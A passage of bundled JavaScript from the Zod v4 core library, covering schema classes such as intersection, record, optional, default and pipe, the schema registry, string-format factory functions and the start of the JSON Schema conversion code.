$constructor(\"$ZodIntersection\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n const left = def.left._zod.run({\n value: input,\n issues: []\n }, ctx);\n const right = def.right._zod.run({\n value: input,\n issues: []\n }, ctx);\n if (left instanceof Promise || right instanceof Promise) return Promise.all([left, right]).then(([left, right]) => {\n return handleIntersectionResults(payload, left, right);\n });\n return handleIntersectionResults(payload, left, right);\n };\n});\nfunction mergeValues(a, b) {\n if (a === b) return {\n valid: true,\n data: a\n };\n if (a instanceof Date && b instanceof Date && +a === +b) return {\n valid: true,\n data: a\n };\n if (isPlainObject(a) && isPlainObject(b)) {\n const bKeys = Object.keys(b);\n const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1);\n const newObj = {\n ...a,\n ...b\n };\n for (const key of sharedKeys) {\n const sharedValue = mergeValues(a[key], b[key]);\n if (!sharedValue.valid) return {\n valid: false,\n mergeErrorPath: [key, ...sharedValue.mergeErrorPath]\n };\n newObj[key] = sharedValue.data;\n }\n return {\n valid: true,\n data: newObj\n };\n }\n if (Array.isArray(a) && Array.isArray(b)) {\n if (a.length !== b.length) return {\n valid: false,\n mergeErrorPath: []\n };\n const newArray = [];\n for (let index = 0; index < a.length; index++) {\n const itemA = a[index];\n const itemB = b[index];\n const sharedValue = mergeValues(itemA, itemB);\n if (!sharedValue.valid) return {\n valid: false,\n mergeErrorPath: [index, ...sharedValue.mergeErrorPath]\n };\n newArray.push(sharedValue.data);\n }\n return {\n valid: true,\n data: newArray\n };\n }\n return {\n valid: false,\n mergeErrorPath: []\n };\n}\nfunction handleIntersectionResults(result, left, right) {\n const unrecKeys = /* @__PURE__ */ new Map();\n let unrecIssue;\n for (const iss of left.issues) if (iss.code === \"unrecognized_keys\") {\n unrecIssue ?? (unrecIssue = iss);\n for (const k of iss.keys) {\n if (!unrecKeys.has(k)) unrecKeys.set(k, {});\n unrecKeys.get(k).l = true;\n }\n } else result.issues.push(iss);\n for (const iss of right.issues) if (iss.code === \"unrecognized_keys\") for (const k of iss.keys) {\n if (!unrecKeys.has(k)) unrecKeys.set(k, {});\n unrecKeys.get(k).r = true;\n }\n else result.issues.push(iss);\n const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k);\n if (bothKeys.length && unrecIssue) result.issues.push({\n ...unrecIssue,\n keys: bothKeys\n });\n if (aborted(result)) return result;\n const merged = mergeValues(left.value, right.value);\n if (!merged.valid) throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`);\n result.value = merged.data;\n return result;\n}\nconst $ZodRecord = /*@__PURE__*/ $constructor(\"$ZodRecord\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n if (!isPlainObject(input)) {\n payload.issues.push({\n expected: \"record\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n const proms = [];\n const values = def.keyType._zod.values;\n if (values) {\n payload.value = {};\n const recordKeys = /* @__PURE__ */ new Set();\n for (const key of values) if (typeof key === \"string\" || typeof key === \"number\" || typeof key === \"symbol\") {\n recordKeys.add(typeof key === \"number\" ? key.toString() : key);\n const keyResult = def.keyType._zod.run({\n value: key,\n issues: []\n }, ctx);\n if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (keyResult.issues.length) {\n payload.issues.push({\n code: \"invalid_key\",\n origin: \"record\",\n issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n input: key,\n path: [key],\n inst\n });\n continue;\n }\n const outKey = keyResult.value;\n const result = def.valueType._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[outKey] = result.value;\n }));\n else {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[outKey] = result.value;\n }\n }\n let unrecognized;\n for (const key in input) if (!recordKeys.has(key)) {\n unrecognized = unrecognized ?? [];\n unrecognized.push(key);\n }\n if (unrecognized && unrecognized.length > 0) payload.issues.push({\n code: \"unrecognized_keys\",\n input,\n inst,\n keys: unrecognized\n });\n } else {\n payload.value = {};\n for (const key of Reflect.ownKeys(input)) {\n if (key === \"__proto__\") continue;\n if (!Object.prototype.propertyIsEnumerable.call(input, key)) continue;\n let keyResult = def.keyType._zod.run({\n value: key,\n issues: []\n }, ctx);\n if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (typeof key === \"string\" && number.test(key) && keyResult.issues.length) {\n const retryResult = def.keyType._zod.run({\n value: Number(key),\n issues: []\n }, ctx);\n if (retryResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (retryResult.issues.length === 0) keyResult = retryResult;\n }\n if (keyResult.issues.length) {\n if (def.mode === \"loose\") payload.value[key] = input[key];\n else payload.issues.push({\n code: \"invalid_key\",\n origin: \"record\",\n issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n input: key,\n path: [key],\n inst\n });\n continue;\n }\n const result = def.valueType._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[keyResult.value] = result.value;\n }));\n else {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[keyResult.value] = result.value;\n }\n }\n }\n if (proms.length) return Promise.all(proms).then(() => payload);\n return payload;\n };\n});\nconst $ZodEnum = /*@__PURE__*/ $constructor(\"$ZodEnum\", (inst, def) => {\n $ZodType.init(inst, def);\n const values = getEnumValues(def.entries);\n const valuesSet = new Set(values);\n inst._zod.values = valuesSet;\n inst._zod.pattern = new RegExp(`^(${values.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === \"string\" ? escapeRegex(o) : o.toString()).join(\"|\")})$`);\n inst._zod.parse = (payload, _ctx) => {\n const input = payload.value;\n if (valuesSet.has(input)) return payload;\n payload.issues.push({\n code: \"invalid_value\",\n values,\n input,\n inst\n });\n return payload;\n };\n});\nconst $ZodTransform = /*@__PURE__*/ $constructor(\"$ZodTransform\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n const _out = def.transform(payload.value, payload);\n if (ctx.async) return (_out instanceof Promise ? _out : Promise.resolve(_out)).then((output) => {\n payload.value = output;\n payload.fallback = true;\n return payload;\n });\n if (_out instanceof Promise) throw new $ZodAsyncError();\n payload.value = _out;\n payload.fallback = true;\n return payload;\n };\n});\nfunction handleOptionalResult(result, input) {\n if (input === void 0 && (result.issues.length || result.fallback)) return {\n issues: [],\n value: void 0\n };\n return result;\n}\nconst $ZodOptional = /*@__PURE__*/ $constructor(\"$ZodOptional\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n inst._zod.optout = \"optional\";\n defineLazy(inst._zod, \"values\", () => {\n return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0;\n });\n defineLazy(inst._zod, \"pattern\", () => {\n const pattern = def.innerType._zod.pattern;\n return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n if (def.innerType._zod.optin === \"optional\") {\n const input = payload.value;\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((r) => handleOptionalResult(r, input));\n return handleOptionalResult(result, input);\n }\n if (payload.value === void 0) return payload;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodExactOptional = /*@__PURE__*/ $constructor(\"$ZodExactOptional\", (inst, def) => {\n $ZodOptional.init(inst, def);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n defineLazy(inst._zod, \"pattern\", () => def.innerType._zod.pattern);\n inst._zod.parse = (payload, ctx) => {\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodNullable = /*@__PURE__*/ $constructor(\"$ZodNullable\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"optin\", () => def.innerType._zod.optin);\n defineLazy(inst._zod, \"optout\", () => def.innerType._zod.optout);\n defineLazy(inst._zod, \"pattern\", () => {\n const pattern = def.innerType._zod.pattern;\n return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0;\n });\n defineLazy(inst._zod, \"values\", () => {\n return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n if (payload.value === null) return payload;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodDefault = /*@__PURE__*/ $constructor(\"$ZodDefault\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n if (payload.value === void 0) {\n payload.value = def.defaultValue;\n /**\n * $ZodDefault returns the default value immediately in forward direction.\n * It doesn't pass the default value into the validator (\"prefault\"). There's no reason to pass the default value through validation. The validity of the default is enforced by TypeScript statically. Otherwise, it's the responsibility of the user to ensure the default is valid. In the case of pipes with divergent in/out types, you can specify the default on the `in` schema of your ZodPipe to set a \"prefault\" for the pipe. */\n return payload;\n }\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => handleDefaultResult(result, def));\n return handleDefaultResult(result, def);\n };\n});\nfunction handleDefaultResult(payload, def) {\n if (payload.value === void 0) payload.value = def.defaultValue;\n return payload;\n}\nconst $ZodPrefault = /*@__PURE__*/ $constructor(\"$ZodPrefault\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n if (payload.value === void 0) payload.value = def.defaultValue;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodNonOptional = /*@__PURE__*/ $constructor(\"$ZodNonOptional\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"values\", () => {\n const v = def.innerType._zod.values;\n return v ? new Set([...v].filter((x) => x !== void 0)) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => handleNonOptionalResult(result, inst));\n return handleNonOptionalResult(result, inst);\n };\n});\nfunction handleNonOptionalResult(payload, inst) {\n if (!payload.issues.length && payload.value === void 0) payload.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: payload.value,\n inst\n });\n return payload;\n}\nconst $ZodCatch = /*@__PURE__*/ $constructor(\"$ZodCatch\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"optout\", () => def.innerType._zod.optout);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => {\n payload.value = result.value;\n if (result.issues.length) {\n payload.value = def.catchValue({\n ...payload,\n error: { issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) },\n input: payload.value\n });\n payload.issues = [];\n payload.fallback = true;\n }\n return payload;\n });\n payload.value = result.value;\n if (result.issues.length) {\n payload.value = def.catchValue({\n ...payload,\n error: { issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) },\n input: payload.value\n });\n payload.issues = [];\n payload.fallback = true;\n }\n return payload;\n };\n});\nconst $ZodPipe = /*@__PURE__*/ $constructor(\"$ZodPipe\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"values\", () => def.in._zod.values);\n defineLazy(inst._zod, \"optin\", () => def.in._zod.optin);\n defineLazy(inst._zod, \"optout\", () => def.out._zod.optout);\n defineLazy(inst._zod, \"propValues\", () => def.in._zod.propValues);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") {\n const right = def.out._zod.run(payload, ctx);\n if (right instanceof Promise) return right.then((right) => handlePipeResult(right, def.in, ctx));\n return handlePipeResult(right, def.in, ctx);\n }\n const left = def.in._zod.run(payload, ctx);\n if (left instanceof Promise) return left.then((left) => handlePipeResult(left, def.out, ctx));\n return handlePipeResult(left, def.out, ctx);\n };\n});\nfunction handlePipeResult(left, next, ctx) {\n if (left.issues.length) {\n left.aborted = true;\n return left;\n }\n return next._zod.run({\n value: left.value,\n issues: left.issues,\n fallback: left.fallback\n }, ctx);\n}\nconst $ZodReadonly = /*@__PURE__*/ $constructor(\"$ZodReadonly\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"propValues\", () => def.innerType._zod.propValues);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n defineLazy(inst._zod, \"optin\", () => def.innerType?._zod?.optin);\n defineLazy(inst._zod, \"optout\", () => def.innerType?._zod?.optout);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then(handleReadonlyResult);\n return handleReadonlyResult(result);\n };\n});\nfunction handleReadonlyResult(payload) {\n payload.value = Object.freeze(payload.value);\n return payload;\n}\nconst $ZodCustom = /*@__PURE__*/ $constructor(\"$ZodCustom\", (inst, def) => {\n $ZodCheck.init(inst, def);\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, _) => {\n return payload;\n };\n inst._zod.check = (payload) => {\n const input = payload.value;\n const r = def.fn(input);\n if (r instanceof Promise) return r.then((r) => handleRefineResult(r, payload, input, inst));\n handleRefineResult(r, payload, input, inst);\n };\n});\nfunction handleRefineResult(result, payload, input, inst) {\n if (!result) {\n const _iss = {\n code: \"custom\",\n input,\n inst,\n path: [...inst._zod.def.path ?? []],\n continue: !inst._zod.def.abort\n };\n if (inst._zod.def.params) _iss.params = inst._zod.def.params;\n payload.issues.push(issue(_iss));\n }\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js\nvar _a;\nvar $ZodRegistry = class {\n constructor() {\n this._map = /* @__PURE__ */ new WeakMap();\n this._idmap = /* @__PURE__ */ new Map();\n }\n add(schema, ..._meta) {\n const meta = _meta[0];\n this._map.set(schema, meta);\n if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.set(meta.id, schema);\n return this;\n }\n clear() {\n this._map = /* @__PURE__ */ new WeakMap();\n this._idmap = /* @__PURE__ */ new Map();\n return this;\n }\n remove(schema) {\n const meta = this._map.get(schema);\n if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.delete(meta.id);\n this._map.delete(schema);\n return this;\n }\n get(schema) {\n const p = schema._zod.parent;\n if (p) {\n const pm = { ...this.get(p) ?? {} };\n delete pm.id;\n const f = {\n ...pm,\n ...this._map.get(schema)\n };\n return Object.keys(f).length ? f : void 0;\n }\n return this._map.get(schema);\n }\n has(schema) {\n return this._map.has(schema);\n }\n};\nfunction registry() {\n return new $ZodRegistry();\n}\n(_a = globalThis).__zod_globalRegistry ?? (_a.__zod_globalRegistry = registry());\nconst globalRegistry = globalThis.__zod_globalRegistry;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js\n// @__NO_SIDE_EFFECTS__\nfunction _string(Class, params) {\n return new Class({\n type: \"string\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _email(Class, params) {\n return new Class({\n type: \"string\",\n format: \"email\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _guid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"guid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v4\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v6\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv7(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v7\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _url(Class, params) {\n return new Class({\n type: \"string\",\n format: \"url\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _emoji(Class, params) {\n return new Class({\n type: \"string\",\n format: \"emoji\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _nanoid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"nanoid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link _cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\n// @__NO_SIDE_EFFECTS__\nfunction _cuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cuid2(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cuid2\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ulid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ulid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _xid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"xid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ksuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ksuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ipv4\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ipv6\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cidrv4\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cidrv6\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64(Class, params) {\n return new Class({\n type: \"string\",\n format: \"base64\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64url(Class, params) {\n return new Class({\n type: \"string\",\n format: \"base64url\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _e164(Class, params) {\n return new Class({\n type: \"string\",\n format: \"e164\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _jwt(Class, params) {\n return new Class({\n type: \"string\",\n format: \"jwt\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDateTime(Class, params) {\n return new Class({\n type: \"string\",\n format: \"datetime\",\n check: \"string_format\",\n offset: false,\n local: false,\n precision: null,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDate(Class, params) {\n return new Class({\n type: \"string\",\n format: \"date\",\n check: \"string_format\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoTime(Class, params) {\n return new Class({\n type: \"string\",\n format: \"time\",\n check: \"string_format\",\n precision: null,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDuration(Class, params) {\n return new Class({\n type: \"string\",\n format: \"duration\",\n check: \"string_format\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _unknown(Class) {\n return new Class({ type: \"unknown\" });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _never(Class, params) {\n return new Class({\n type: \"never\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _maxLength(maximum, params) {\n return new $ZodCheckMaxLength({\n check: \"max_length\",\n ...normalizeParams(params),\n maximum\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _minLength(minimum, params) {\n return new $ZodCheckMinLength({\n check: \"min_length\",\n ...normalizeParams(params),\n minimum\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _length(length, params) {\n return new $ZodCheckLengthEquals({\n check: \"length_equals\",\n ...normalizeParams(params),\n length\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _regex(pattern, params) {\n return new $ZodCheckRegex({\n check: \"string_format\",\n format: \"regex\",\n ...normalizeParams(params),\n pattern\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _lowercase(params) {\n return new $ZodCheckLowerCase({\n check: \"string_format\",\n format: \"lowercase\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uppercase(params) {\n return new $ZodCheckUpperCase({\n check: \"string_format\",\n format: \"uppercase\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _includes(includes, params) {\n return new $ZodCheckIncludes({\n check: \"string_format\",\n format: \"includes\",\n ...normalizeParams(params),\n includes\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _startsWith(prefix, params) {\n return new $ZodCheckStartsWith({\n check: \"string_format\",\n format: \"starts_with\",\n ...normalizeParams(params),\n prefix\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _endsWith(suffix, params) {\n return new $ZodCheckEndsWith({\n check: \"string_format\",\n format: \"ends_with\",\n ...normalizeParams(params),\n suffix\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _overwrite(tx) {\n return new $ZodCheckOverwrite({\n check: \"overwrite\",\n tx\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _normalize(form) {\n return /* @__PURE__ */ _overwrite((input) => input.normalize(form));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _trim() {\n return /* @__PURE__ */ _overwrite((input) => input.trim());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toLowerCase() {\n return /* @__PURE__ */ _overwrite((input) => input.toLowerCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toUpperCase() {\n return /* @__PURE__ */ _overwrite((input) => input.toUpperCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _slugify() {\n return /* @__PURE__ */ _overwrite((input) => slugify(input));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _array(Class, element, params) {\n return new Class({\n type: \"array\",\n element,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _refine(Class, fn, _params) {\n return new Class({\n type: \"custom\",\n check: \"custom\",\n fn,\n ...normalizeParams(_params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _superRefine(fn, params) {\n const ch = /* @__PURE__ */ _check((payload) => {\n payload.addIssue = (issue$2) => {\n if (typeof issue$2 === \"string\") payload.issues.push(issue(issue$2, payload.value, ch._zod.def));\n else {\n const _issue = issue$2;\n if (_issue.fatal) _issue.continue = false;\n _issue.code ?? (_issue.code = \"custom\");\n _issue.input ?? (_issue.input = payload.value);\n _issue.inst ?? (_issue.inst = ch);\n _issue.continue ?? (_issue.continue = !ch._zod.def.abort);\n payload.issues.push(issue(_issue));\n }\n };\n return fn(payload.value, payload);\n }, params);\n return ch;\n}\n// @__NO_SIDE_EFFECTS__\nfunction _check(fn, params) {\n const ch = new $ZodCheck({\n check: \"custom\",\n ...normalizeParams(params)\n });\n ch._zod.check = fn;\n return ch;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js\nfunction initializeContext(params) {\n let target = params?.target ?? \"draft-2020-12\";\n if (target === \"draft-4\") target = \"draft-04\";\n if (target === \"draft-7\") target = \"draft-07\";\n return {\n processors: params.processors ?? {},\n metadataRegistry: params?.metadata ?? globalRegistry,\n target,\n unrepresentable: params?.unrepresentable ?? \"throw\",\n override: params?.override ?? (() => {}),\n io: params?.io ?? \"output\",\n counter: 0,\n seen: /* @__PURE__ */ new Map(),\n cycles: params?.cycles ?? \"ref\",\n reused: params?.reused ?? \"inline\",\n external: params?.external ?? void 0\n };\n}\nfunction process$1(schema, ctx, _params = {\n path: [],\n schemaPath: []\n}) {\n var _a;\n const def = schema._zod.def;\n const seen = ctx.seen.get(schema);\n if (seen) {\n seen.count++;\n if (_params.schemaPath.includes(schema)) seen.cycle = _params.path;\n return seen.schema;\n }\n const result = {\n schema: {},\n count: 1,\n cycle: void 0,\n path: _params.path\n };\n ctx.seen.set(schema, result);\n const overrideSchema = schema._zod.toJSONSchema?.();\n if (overrideSchema) result.schema = overrideSchema;\n else {\n const params = {\n ..._params,\n schemaPath: [..._params.schemaPath, schema],\n path: _params.path\n };\n if (schema._zod.processJSONSchema) schema._zod.processJSONSchema(ctx, result.schema, params);\n else {\n const _json = result.schema;\n const processor = ctx.processors[def.type];\n if (!processor) throw new Error(`[toJSONSchema]: Non-representable type encountered: ${def.type}`);\n processor(schema, ctx, _json, params);\n }\n const parent = schema._zod.parent;\n if (parent) {\n if (!result.ref) result.ref = parent;\n process$1(parent, ctx, params);\n ctx.seen.get(parent).isParent = true;\n }\n }\n const meta = ctx.metadataRegistry.get(schema);\n if (meta) Object.assign(result.schema, meta);\n if (ctx.io === \"input\" && isTransforming(schema)) {\n delete result.schema.examples;\n delete result.schema.default;\n }\n if (ctx.io === \"input\" && \"_prefault\" in result.schema) (_a = result.schema).default ?? (_a.default = result.schema._prefault);\n delete result.schema._prefault;\n return ctx.seen.get(schema).schema;\n}\nfunction extractDefs(ctx, schema) {\n const root = ctx.seen.get(schema);\n if (!root) throw new Error(\"Unprocessed schema. This is a bug in Zod.\");\n const idToSchema = /* @__PURE__ */ new Map();\n for (const entry of ctx.seen.entries()) {\n const id = ctx.metadataRegistry.get(entry[0])?.id;\n if (id) {\n const existing = idToSchema.get(id);\n if (existing && existing !== entry[0]) throw new Error(`Duplicate schema id \"${id}\" detected during JSON Schema conversion. Two different schemas cannot share the same id when converted together.`);\n idToSchema.set(id, entry[0]);\n }\n }\n const makeURI = (entry) => {\n const defsSegment = ctx.target === \"draft-2020-12\" ? \"$defs\" : \"definitions\";\n if (ctx.external) {\n const externalId = ctx.external.registry.get(entry[0])?.id;\n const uriGenerator = ctx.external.uri ?? ((id) => id);\n if (externalId) return { ref: uriGenerator(externalId) };\n const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`;\n entry[1].defId = id;\n return {\n defId: id,\n ref: `${uriGenerator(\"__shared\")}#/${defsSegment}/${id}`\n };\n }\n if (entry[1] === root) return { ref: \"#\" };\n const defUriPrefix = `#/${defsSegment}/`;\n const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`;\n return {\n defId,\n ref: defUriPrefix + defId\n };\n };\n const extractToDef = (entry) => {\n if (entry[1].schema.$ref) return;\n const seen = entry[1];\n const { ref, defId } = makeURI(entry);\n seen.def = { ...seen.schema };\n if (defId) seen.defId = defId;\n const schema = seen.schema;\n for (const key in schema) delete schema[key];\n schema.$ref = ref;\n };\n if (ctx.cycles === \"throw\") for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (seen.cycle) throw new Error(`Cycle detected: #/${seen.cycle?.join(\"/\")}/<root>\n\nSet the \\`cycles\\` parameter to \\`\"ref\"\\` to resolve cyclical schemas with defs.`);\n }\n for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (schema === entry[0]) {\n extractToDef(entry);\n continue;\n }\n if (ctx.external) {\n const ext = ctx.external.registry.get(entry[0])?.id;\n if (schema !== entry[0] && ext) {\n extractToDef(entry);\n continue;\n }\n }\n if (ctx.metadataRegistry.get(entry[0])?.id) {\n extractToDef(entry);\n continue;\n }\n if (seen.cycle) {\n extractToDef(entry);\n continue;\n }\n if (seen.count > 1) {\n if (ctx.reused === \"ref\") {\n extractToDef(entry);\n continue;\n }\n }\n }\n}\nfunction finalize(ctx, schema) {\n const root = ctx.seen.get(schema);\n if (!root) throw new Error(\"Unprocessed schema. This is a bug 